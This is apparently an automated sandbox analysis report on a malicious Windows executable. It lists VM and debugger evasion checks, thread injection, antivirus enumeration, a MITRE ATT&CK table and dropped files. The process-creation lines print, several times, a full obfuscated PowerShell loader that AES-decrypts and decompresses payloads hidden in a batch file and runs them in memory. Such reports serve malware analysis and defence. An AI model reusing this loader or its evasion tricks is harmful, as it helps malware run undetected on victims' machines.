Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

0_2_00007FF776D11D10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D18A1E SetUnhandledExceptionFilter,		0_2_00007FF776D18A1E
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D18714 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF776D18714

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread register set: target process: 5840

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread register set: 5840 1

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function fpxon($kxght){ $mjrur=[system.security.cryptography.aes]::create(); $mjrur.mode=[system.security.cryptography.ciphermode]::cbc; $mjrur.padding=[system.security.cryptography.paddingmode]::pkcs7; $mjrur.key=[system.convert]::frombase64string('j3+l8mvxgsnkbbofftdiy9ifllqehu8shlqb9w611ku='); $mjrur.iv=[system.convert]::frombase64string('c7dlt1nshfaiyjxep0ixiq=='); $wvvmf=$mjrur.createdecryptor(); $cvtyc=$wvvmf.transformfinalblock($kxght, 0, $kxght.length); $wvvmf.dispose(); $mjrur.dispose(); $cvtyc;}function ogptr($kxght){ invoke-expression '$bjdne=new-object blcksblckyblcksblcktblckeblckmblck.blckiblckoblck.blckmblckeblckmblckoblckrblckystblckrblckeblckamblck(,$kxght);'.replace('blck', ''); invoke-expression '$ettpq=new-object blcksblckyblcksblcktblckeblckm.blckiblckoblck.mblckeblckmblckoblckrblckyblcksblcktblckrblckeblckablckmblck;'.replace('blck', ''); invoke-expression '$gttnv=new-object sblckyblcksblcktblckeblckmblck.blckiblckoblck.blckcblckoblckmblckpblckrblckeblckssblckioblcknblck.gblckziblckpblcksblcktblckrblckeblckablckmblck($bjdne, [blckiblckoblck.blckcblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckcblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckmblckoblckdblckeblck]::dblckecblckomblckprblckesblcks);'.replace('blck', ''); $gttnv.copyto($ettpq); $gttnv.dispose(); $bjdne.dispose(); $ettpq.dispose(); $ettpq.toarray();}function vcyyt($kxght,$goojw){ invoke-expression '$chmli=blck[blcksblckyblcksblcktblckeblckmblck.blckrblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckablcksblcksblckeblckmblckbblcklblckyblck]blck::blcklblckoblckablckdblck([byte[]]$kxght);'.replace('blck', ''); invoke-expression '$wmcot=$chmli.blckeblcknblcktblckrblckyblckpblckoblckiblcknblcktblck;'.replace('blck', ''); invoke-expression '$wmcot.blckiblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $goojw)blck;'.replace('blck', '');}$yeswh = 'c:\users\user\appdata\local\temp\ixp000.tmp\vclib.bat';$host.ui.rawui.windowtitle = $yeswh;$lzgcg=[system.io.file]::readalltext($yeswh).split([environment]::newline);foreach ($zwdbb in $lzgcg) { if ($zwdbb.startswith(':: ')) { $ggizq=$zwdbb.substring(3); break; }}$ncixk=[string[]]$ggizq.split('\');invoke-expression '$mmtjj=ogptr (fpxon (blck[blckcblckoblcknblckvblckeblckrblcktblck]blck:blck:blckfblckrblckoblckmblckbblckablcksblckeblck6blck4blcksblcktblckrblckiblcknblckgblck($ncixk[0])));'.replace('blck', '');invoke-expression '$gdpgz=ogptr (fpxon (blck[blckcblckoblcknblckvblckeblckrblcktblck]blck:blck:blckfblckrblckoblckmblckbblckablcksblckeblck6blck4blcksblcktblckrblckiblcknblckgblck($ncixk[1])));'.replace('blck', '');vcyyt $mmtjj (,[string[]] (''));vcyyt $gdpgz (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function fpxon($kxght){ $mjrur=[system.security.cryptography.aes]::create(); $mjrur.mode=[system.security.cryptography.ciphermode]::cbc; $mjrur.padding=[system.security.cryptography.paddingmode]::pkcs7; $mjrur.key=[system.convert]::frombase64string('j3+l8mvxgsnkbbofftdiy9ifllqehu8shlqb9w611ku='); $mjrur.iv=[system.convert]::frombase64string('c7dlt1nshfaiyjxep0ixiq=='); $wvvmf=$mjrur.createdecryptor(); $cvtyc=$wvvmf.transformfinalblock($kxght, 0, $kxght.length); $wvvmf.dispose(); $mjrur.dispose(); $cvtyc;}function ogptr($kxght){ invoke-expression '$bjdne=new-object blcksblckyblcksblcktblckeblckmblck.blckiblckoblck.blckmblckeblckmblckoblckrblckystblckrblckeblckamblck(,$kxght);'.replace('blck', ''); invoke-expression '$ettpq=new-object blcksblckyblcksblcktblckeblckm.blckiblckoblck.mblckeblckmblckoblckrblckyblcksblcktblckrblckeblckablckmblck;'.replace('blck', ''); invoke-expression '$gttnv=new-object sblckyblcksblcktblckeblckmblck.blckiblckoblck.blckcblckoblckmblckpblckrblckeblckssblckioblcknblck.gblckziblckpblcksblcktblckrblckeblckablckmblck($bjdne, [blckiblckoblck.blckcblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckcblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckmblckoblckdblckeblck]::dblckecblckomblckprblckesblcks);'.replace('blck', ''); $gttnv.copyto($ettpq); $gttnv.dispose(); $bjdne.dispose(); $ettpq.dispose(); $ettpq.toarray();}function vcyyt($kxght,$goojw){ invoke-expression '$chmli=blck[blcksblckyblcksblcktblckeblckmblck.blckrblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckablcksblcksblckeblckmblckbblcklblckyblck]blck::blcklblckoblckablckdblck([byte[]]$kxght);'.replace('blck', ''); invoke-expression '$wmcot=$chmli.blckeblcknblcktblckrblckyblckpblckoblckiblcknblcktblck;'.replace('blck', ''); invoke-expression '$wmcot.blckiblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $goojw)blck;'.replace('blck', '');}$yeswh = 'c:\users\user\appdata\local\temp\ixp000.tmp\vclib.bat';$host.ui.rawui.windowtitle = $yeswh;$lzgcg=[system.io.file]::readalltext($yeswh).split([environment]::newline);foreach ($zwdbb in $lzgcg) { if ($zwdbb.startswith(':: ')) { $ggizq=$zwdbb.substring(3); break; }}$ncixk=[string[]]$ggizq.split('\');invoke-expression '$mmtjj=ogptr (fpxon (blck[blckcblckoblcknblckvblckeblckrblcktblck]blck:blck:blckfblckrblckoblckmblckbblckablcksblckeblck6blck4blcksblcktblckrblckiblcknblckgblck($ncixk[0])));'.replace('blck', '');invoke-expression '$gdpgz=ogptr (fpxon (blck[blckcblckoblcknblckvblckeblckrblcktblck]blck:blck:blckfblckrblckoblckmblckbblckablcksblckeblck6blck4blcksblcktblckrblckiblcknblckgblck($ncixk[1])));'.replace('blck', '');vcyyt $mmtjj (,[string[]] (''));vcyyt $gdpgz (,[string[]] (''));			Jump to behavior

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D11258 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00007FF776D11258

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D18BF4 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF776D18BF4

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D13D34 GetVersionExA,MessageBeep,MessageBoxA,

0_2_00007FF776D13D34

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Software Packing	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Timestomp	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Office Application Startup	211 Process Injection	1 DLL Side-Loading	Security Account Manager	115 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	11 Masquerading	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	231 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
XgKnAQpuPM.exe	11%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
198.187.3.20.in-addr.arpa	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.2185544424.000001C69008B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2029388668.000001C6802D2000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2029388668.000001C6802D2000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000007.00000002.2185544424.000001C69008B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2185544424.000001C69008B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.2185544424.000001C69008B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6xG	powershell.exe, 00000007.00000002.2029388668.000001C680001000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.2185544424.000001C69008B000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.10.dr	false	URL Reputation: safe	unknown
https://aka.ms/pscore6	powershell.exe, 00000007.00000002.2029388668.000001C680001000.00000004.00000001.00020000.00000000.sdmp, Null.7.dr	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.2029388668.000001C680001000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.2029388668.000001C680001000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2029388668.000001C6802D2000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528503
Start date and time:	2024-10-08 00:28:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XgKnAQpuPM.exe renamed because original name is a hash value
Original Sample Name:	52c1acdcbb715dd099648b26b98254e8.exe
Detection:	MAL
Classification:	mal92.expl.evad.winEXE@14/11@1/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 27 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtFsControlFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: XgKnAQpuPM.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_powershell.exe_182771bb2de693611997bcf38ec45e5dde0b99b_e3b0f337_5fde02a2-d24a-4ba3-88bb-27bd6fc5d898\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4572196546028324
Encrypted:	false
SSDEEP:	192:AosYUe23mG52c80exqojaVTy78RJlmzuiFkZ24lO8n:p322G528exqoj+TZRrmzuiFkY4lO8n
MD5:	214AD5BF391B7D24931E0C1CCE2112C0
SHA1:	577704E3AB7C9F165B40C131D81975A428231E6C
SHA-256:	E2C7CE4A6E1039616AEA0814FF7BB86719A8A2D44D7520D46320958ED8277ACB
SHA-512:	AB033CCC6EF8C34B1E5097AC62C3EDF07446BF53FAB83CE3196A3E6640D08746D14623C26C61BBD005063002BC72BC17D84603EFF0D39E95AEE837DA951A7B34
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.1.3.7.5.3.7.6.5.7.5.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.1.3.7.5.5.4.0.6.3.8.4.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.d.e.0.2.a.2.-.d.2.4.a.-.4.b.a.3.-.8.8.b.b.-.2.7.b.d.6.f.c.5.d.8.9.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.6.e.b.5.f.8.-.a.e.c.d.-.4.d.c.7.-.8.4.5.f.-.4.f.4.d.7.8.6.d.4.f.c.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.p.o.w.e.r.s.h.e.l.l...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.1.8.-.0.0.0.1.-.0.0.1.4.-.8.8.f.f.-.a.6.5.2.0.8.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC0C.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 22:29:14 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	844304
Entropy (8bit):	3.440795532252442
Encrypted:	false
SSDEEP:	6144:8aMn0ivwbd7Sk5o3QWgqurn/2YOSA6Q0a442XvvBL+5qyp:8akk5cQXqujESABZ44mhwqy
MD5:	08941B8A9D2276911F51959527A7545D
SHA1:	59F22F039975B297EEEC92F5069FAA63B41F0407
SHA-256:	AF0EADCEA5A99809629843BE9CB635186DBFE57D592C6D6ECFF55E4C70106D8A
SHA-512:	925A62A9FE1629A3E65F546AF070BEB6812E8DBBBD46E56C3B3D6EB3109F05DA6E1EF4BCB9995C2C245D377FACC758F950B23C5787FDC5DAA7BF128E385E8E0D
Malicious:	false
Reputation:	low
